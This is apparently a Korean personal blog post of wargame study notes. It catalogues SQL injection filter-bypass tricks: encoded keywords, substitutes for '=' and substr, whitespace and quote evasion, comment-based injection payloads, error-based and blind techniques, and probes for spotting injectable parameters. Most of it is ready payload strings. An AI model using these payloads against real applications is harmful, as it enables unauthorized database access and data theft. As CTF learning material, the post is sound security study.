지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다.
모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다.
기억나는대로 추가해서 수정하겠습니다.
- or, and
: ||, &&
- String Filtering (Ex. preg_match - admin 등)
: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)
* char()의 경우 타 진법으로도 사용 가능
- Blind SQL Injection 시 '='(Equal) Filtering
: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')
- substr filtering
: right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)
- ereg, eregi
: 'admin' 필터링 시 'AdmIN' 등으로 우회 가능
: 맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음
- replace, replaceAll
: 'admin' 필터링 시 'adadminmin' 등으로 우회 가능
- numeric character filtering
: 0 -> '!'='@'
: 1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능
- White Space Filtering (%20)
: %20 -> %0a %0b %0c %0d %09
- Single Quote Filtering (%27)
: Single Quote 안에서 Double quote를 쓰면 해결되는 경우도 있음
: 특수한 조건에서 %bf%27 로 Multibyte를 만들어 필터링을 우회할 수도 있음 (하지만 거의 없는 경우)
: '\' 백슬래시 문자가 필터링 되어있지 않은 경우 다음과 같은 상황에서 우회 가능
ex. select test1 from test where id='\' and pw=' or 1#
-> parameter : id=\&pw=%20or%201%23
- 주석
: #, --, ;%00, /* */
- 주석을 이용한 SQL Injection
: '#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나뉘기 때문에 아래 예제와 같은 SQL Injection을 수행할 수 있다.
* select test1 from test where id='abc'# and pw='%0a or id='admin'%23
: /* */
* select test1 from test where id='abc'/* and pw=''*/ or id='admin'%23
- Blind SQL Injection 시 sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때
: max(column_name), min(column_name), group_concat(column_name)
- 테이블명, 컬럼명을 알아내야 할 때
: select test1 from test where id='admin' and pw='1234' procedure analyse();
* limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음
- Error Based SQL Injection 할 때
: 0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다
- MultiByte Character SQL Injection
: 'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.
* substr(hex(test1),1,1)=0x41
※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.
- SQL Injection이 먹히는지 알아볼 때
: '(싱글쿼터)를 썼을 때 에러가 나는지
: ' and '1'='1 , ' and '1'='2 를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
: ' or '1'='1 을 썼을 때 정상적으로 출력되는 지
: 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지
: '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )
: 주석을 쓸때는 #(%23), -- (--%20), %0a
'Tips > Web-Honey tips' 카테고리의 다른 글
Fiddler HTTPS 인증서 오류 시 해결방법 (1) | 2021.12.08 |
---|---|
JSP(spring) commons-fileupload WAF filtering bypass - CCE2019 - ENKI (0) | 2020.02.28 |
CSP Bypass (0) | 2020.02.10 |
최신 Ecma Script 기능을 활용한 XSS Filtering Bypass 및 원리 해설 (2) | 2019.12.12 |
Web Hacking XSS Bypass WAF & Bypass Filtering (Cross Site Scripting) (1) | 2019.02.19 |